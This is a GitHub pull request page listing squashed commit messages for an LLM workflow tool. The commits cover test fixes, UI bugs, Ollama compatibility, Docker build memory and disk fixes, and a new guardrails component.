* [autofix.ci] apply automated fixes

* fix: wrap long docstring line to satisfy ruff E501

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* docs: draft hide internal endpoints in spec (#11469)

* test-hide-internal-endpoints

* hide-more-endpoints

* display-mcp-endpoints

* display-mcp-projects

* add-back-health-check

---------

Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>

* feat: update opensearch component with raw search component (#11491)

* Update opensearch_multimodal.py

* [autofix.ci] apply automated fixes

* Update opensearch_multimodal.py

* Skip existing knn_vector mapping & handle errors

Before adding a knn_vector field mapping, check the index properties and skip updating if the field already exists (and warn if dimensions differ). Attempt to add the mapping only when missing, and catch failures from the OpenSearch k-NN plugin (e.g. NullPointerException); in that known case log a warning and skip the mapping update instead of failing hard. After adding, verify the field is mapped as knn_vector and raise an error if it is not. Also adjusts logging messages to be clearer.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(test): Skip Tavily API key fill when global variable is loaded                                                          (#11733)

* update Google models

* [autofix.ci] apply automated fixes

* update tests

* mark deprecated

* build component index

* [autofix.ci] apply automated fixes

---------

Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>
Co-authored-by: Cristhian Zanforlin Lousa <cristhian.lousa@gmail.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Mendon Kissling <59585235+mendonk@users.noreply.github.com>
Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>
Co-authored-by: Edwin Jose <edwin.jose@datastax.com>

* fix: mock clearSessionMessages (#11776)

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* update build config

* [autofix.ci] apply automated fixes

* fix ruff errors

* [autofix.ci] apply automated fixes

* address review comments

* feat: create guardrails component (#11451)

* Create guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Update guardrails.py

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* tests: add unit tests for GuardrailsComponent functionality

* [autofix.ci] apply automated fixes

* fix: resolve linting errors in GuardrailsComponent and tests

- Fix line length issues (E501) by breaking long strings
- Fix docstring formatting (D205, D415) in _check_guardrail
- Use ternary operator for response content extraction (SIM108)
- Replace magic value with named constant (PLR2004)
- Move return to else block per try/except best practices (TRY300)
- Catch specific exceptions instead of blind Exception (BLE001)
- Use list comprehension for checks_to_run (PERF401)
- Mark unused variables with underscore prefix (RUF059, F841)
- Add noqa comment for intentionally unused mock argument (ARG002)

* [autofix.ci] apply automated fixes

* refactor: address pr comments

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes

* feat: enhance heuristic detection with configurable threshold and scoring system

* refactor: simplify heuristic test assertions by removing unused variable

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* feat: enhance guardrail validation logic and input handling

* refactor: streamline import statements and clean up whitespace in guardrails component

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: update empty input handling tests to raise ValueError and refactor related assertions

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* feat: add Guardrails component with unit tests

Add LLM-based guardrails component for detecting PII, tokens/passwords,
jailbreak attempts, and custom guardrail rules, along with comprehensive
unit tests.

* [autofix.ci] apply automated fixes

* fix: try removing logs

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Viktor Avelino <64113566+viktoravelino@users.noreply.github.com>

* fix: Filter out MCP and models_and_agents categories and MCPTools component from sidebar (#11513)

* fix: hide MCP tool from model & agent

* fix: removing mcp searching

* fix testcases

* fix testcases

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>

* fix: Fix flaky Market Research test timeout on CI  (#11665)

* add wait for statement to prevent race condition

* fix flaky global variable

* add input selection

* [autofix.ci] apply automated fixes

* add disable inspect panel util

* [autofix.ci] apply automated fixes

* fix vector store test

* [autofix.ci] apply automated fixes

* use disable inspect pannel utils

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* ci: make docs deployment manual-only (#11602)

feat: update GitHub Actions workflow to allow manual branch selection for docs deployment

* fix: handle missing capabilities in Ollama API response (#11603)

* fix: handle missing capabilities in Ollama API response

Older Ollama versions don't return the `capabilities` field from
`/api/show`. The previous code defaulted to an empty list and required
"completion" capability, filtering out all models.

Now we treat missing capabilities as backwards-compatible: assume the
model supports completion unless tool_model_enabled is True (where we
can't verify tool support without the capabilities field).

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* test: add test cases for Ollama backwards compatibility fix

Add tests for get_models handling of missing capabilities field:
- test_get_models_missing_capabilities_without_tool_model
- test_get_models_missing_capabilities_with_tool_model
- test_get_models_mixed_capabilities_response

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

* [autofix.ci] apply automated fixes

* fix: wrap long docstring line to satisfy ruff E501

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* docs: draft hide internal endpoints in spec (#11469)

* test-hide-internal-endpoints

* hide-more-endpoints

* display-mcp-endpoints

* display-mcp-projects

* add-back-health-check

---------

Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>

* feat: update opensearch component with raw search component (#11491)

* Update opensearch_multimodal.py

* [autofix.ci] apply automated fixes

* Update opensearch_multimodal.py

* Skip existing knn_vector mapping & handle errors

Before adding a knn_vector field mapping, check the index properties and skip updating if the field already exists (and warn if dimensions differ). Attempt to add the mapping only when missing, and catch failures from the OpenSearch k-NN plugin (e.g. NullPointerException); in that known case log a warning and skip the mapping update instead of failing hard. After adding, verify the field is mapped as knn_vector and raise an error if it is not. Also adjusts logging messages to be clearer.

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix(test): Skip Tavily API key fill when global variable is loaded                                                          (#11733)

* feat: add smart column ordering and clean output toggle to Split Text component (#11626)

* feat: add smart column ordering and clean output toggle to Split Text component

Add smart_column_order() method to DataFrame that prioritizes content columns
(text, content, output, etc.) and de-prioritizes system metadata columns
(timestamp, sender, session_id, etc.). Add Clean Output boolean input to
Split Text component that strips metadata columns by default.

* fix: update code_hash for Knowledge Ingestion and Vector Store RAG components

* test: update split text tests for clean_output toggle

* [autofix.ci] apply automated fixes

* fix: change default value of clean_output toggle to False in Split Text component

* [autofix.ci] apply automated fixes (attempt 2/3)

* fix: update code_hash for Knowledge Ingestion and Vector Store RAG components

* fix: add clean_output option to Knowledge Ingestion and Vector Store RAG components

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* [autofix.ci] apply automated fixes (attempt 3/3)

* [autofix.ci] apply automated fixes

* fix: Add missing get_current_active_user_mcp to lfx AuthService

The base class declares get_current_active_user_mcp as abstract but the
default lfx AuthService did not implement it, causing instantiation to
fail in tests.

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix: add iter method to noopresult (#11517)

* fix: Misleading Empty State when no Folders (#11728)

* fix: Misleading Empty State when no Folders

now once all folders are deleted we show the default create first flow state

* [autofix.ci] apply automated fixes

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

---------

Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* chore: align Market Research spec with release-v1.8.0

* fix: Resolve Windows PostgreSQL event loop incompatibility (#11767)

* fix windows integrations with postgres

* add documentation

* cross platform validation

* [autofix.ci] apply automated fixes

* ruff style and checker

* fix import ruff

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* [autofix.ci] apply automated fixes

* fix: Legacy "Store" Reference in Flows Empty State (#11721)

* fix: Legacy "Store" Reference in Flows Empty State

on delete propigate changes to useFlowsManagerStore to cause re-render in HomePage

* test: fix shard 45 flaky mcp test

Hopefully fix [WebServer] bash: line 1: exec: uvx mcp-server-fetch: not found

* [autofix.ci] apply automated fixes

* fix(api): prevent users from deactivating their own account (#11736)

Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>

* Fix:  UI Overlay: Chat Input Component Overlapping README Note (#11710)

* move chat input arround for travel json starter template

* improve the layout of the component

* fix layout

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

---------

Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes (attempt 2/3)

* Fix: UI Bug: "Lock Flow" Toggle in Export Modal is Non-Functional (#11724)

* fix locked component during export

* added locked flag to flow doc

* new testcases

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* fix tests

* [autofix.ci] apply automated fixes

* fix: dropdown delete icon hover visibility (#11774)

fix hidden delete button

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: resolve Safari scroll jitter in playground chat views (#11769)

* fix: resolve Safari scroll jitter in playground chat views

Switch StickToBottom resize mode to instant and add a Safari-specific
scroll fix that prevents unnatural jumps while preserving stick-to-bottom
behavior.

* [autofix.ci] apply automated fixes

* fix: add useStickToBottomContext mock to shareable playground tests

* refactor: improve SafariScrollFix reliability and maintainability

- Split into guard/inner components to avoid hooks on non-Safari browsers
- Extract magic numbers into named constants with documentation
- Convert touchStartY closure variable to useRef for proper session scoping
- Remove stopScrollRef indirection, use stopScroll directly in effect deps

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>

* fix: Obsolete "Component Share" shortcut listed in Shortcuts menu (#11775)

remove component share from doc

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix(frontend): add UI feedback for self-deactivation prevention (#11772)

* fix(frontend): add UI feedback for self-deactivation prevention

Disable the Active checkbox with a tooltip when users try to deactivate
their own account. This provides clear UI feedback instead of relying
solely on the backend 403 error. Protection is added in both the Admin
page table view and the user edit modal.

* [autofix.ci] apply automated fixes

* fix: mock clearSessionMessages to prevent flowStore.getState error in test

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>

* fix(frontend): preserve sticky note dimensions when importing via canvas drop (#11770)

* fix(frontend): preserve sticky note dimensions when importing via canvas drop

When dragging a JSON file onto the canvas, the paste function now
preserves width and height properties from the original nodes,
ensuring sticky notes retain their custom dimensions.

* [autofix.ci] apply automated fixes

* fix: mock clearSessionMessages to prevent flowStore.getState error in test


---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>

* rollback playground, inspection panel and shareable playground

* build_component_index

* fix starter templates

* fix: Close button auto-focus creates visual distraction in SaveChanges and FlowLogs modal (#11763)

fix autofocus on close button

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>

* fix: Outdated Instructional Notes and Provider-Specific Branding (#11680)

* fix: improved note guide for language models nots and Need search

* missing starter projects added

* ensured main flows fit are of standard

* [autofix.ci] apply automated fixes

---------

Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* [autofix.ci] apply automated fixes

* fix(frontend): synchronize Prompt Template input fields on bracket mode toggle (#11777)

* fix(frontend): synchronize Prompt Template input fields on bracket mode toggle

* [autofix.ci] apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>

* [autofix.ci] apply automated fixes

* build component index

* chore: align component_index.json with main

* [autofix.ci] apply automated fixes

* [autofix.ci] apply automated fixes

* fix: reduce Node.js heap size to 4GB in Docker builds to prevent OOM

The Vite frontend build was configured with --max-old-space-size=12288
(12GB), which exceeds available RAM on ARM64 CI runners, causing the
build process to be OOM-killed during the transform phase.

Reduced to 4GB (4096MB) which is sufficient for the Vite build and
prevents OOM kills in memory-constrained Docker BuildKit environments.

* fix: avoid redundant recursive chown on /app in backend Dockerfile

The recursive chown -R on /app was re-owning the entire .venv (~2.6GB,
40k+ files) which was already correctly owned via COPY --chown=1000:0.
This was causing the build to be killed on ARM64 runners.

Changed to non-recursive chown on /app since only the directory itself
needs ownership set. /app/data still gets recursive chown (it's empty).

* fix: add Docker cleanup between image builds to prevent disk full

The 40GB ARM64 runner runs out of disk when building 3 Docker images
sequentially. Each image (main ~8GB layers, backend ~5GB, frontend)
accumulates build cache and layers that exhaust the disk.

Added cleanup steps between builds that:
- Remove the tested image (no longer needed)
- Prune all unused Docker data and buildx cache
- Log disk usage before/after for debugging

---------

Co-authored-by: Gabriel Luiz Freitas Almeida <gabriel@logspace.ai>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Mike Pawlowski <mike.pawlowski@datastax.com>
Co-authored-by: Mike Pawlowski <mpawlow@ca.ibm.com>
Co-authored-by: Copilot <198982749+Copilot@users.noreply.github.com>
Co-authored-by: ogabrielluiz <24829397+ogabrielluiz@users.noreply.github.com>
Co-authored-by: Deon Sanchez <69873175+deon-sanchez@users.noreply.github.com>
Co-authored-by: codeflash-ai[bot] <148906541+codeflash-ai[bot]@users.noreply.github.com>
Co-authored-by: Lucas Oliveira <62335616+lucaseduoli@users.noreply.github.com>
Co-authored-by: Viktor Avelino <64113566+viktoravelino@users.noreply.github.com>
Co-authored-by: Lucas Democh <ldgoularte@gmail.com>
Co-authored-by: Keval718 <kevalvirat@gmail.com>
Co-authored-by: vjgit96 <vijay.katuri@ibm.com>
Co-authored-by: Cristhian Zanforlin Lousa <cristhian.lousa@gmail.com>
Co-authored-by: Ram Gopal Srikar Katakam <44802869+RamGopalSrikar@users.noreply.github.com>
Co-authored-by: olayinkaadelakun <olayinka.adelakun@ibm.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@Olayinkas-MacBook-Pro.local>
Co-authored-by: Carlos Coelho <80289056+carlosrcoelho@users.noreply.github.com>
Co-authored-by: Jordan Frazier <122494242+jordanrfrazier@users.noreply.github.com>
Co-authored-by: Viktor Avelino <viktor.avelino@gmail.com>
Co-authored-by: Claude Opus 4.5 <noreply@anthropic.com>
Co-authored-by: Olayinka Adelakun <olayinkaadelakun@mac.war.can.ibm.com>
Co-authored-by: Mendon Kissling <59585235+mendonk@users.noreply.github.com>
Co-authored-by: Hamza Rashid <74062092+HzaRashid@users.noreply.github.com>
Co-authored-by: Edwin Jose <edwin.jose@datastax.com>
Co-authored-by: Adam-Aghili <149833988+Adam-Aghili@users.noreply.github.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

bug Something isn't working lgtm This PR has been approved by a maintainer

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants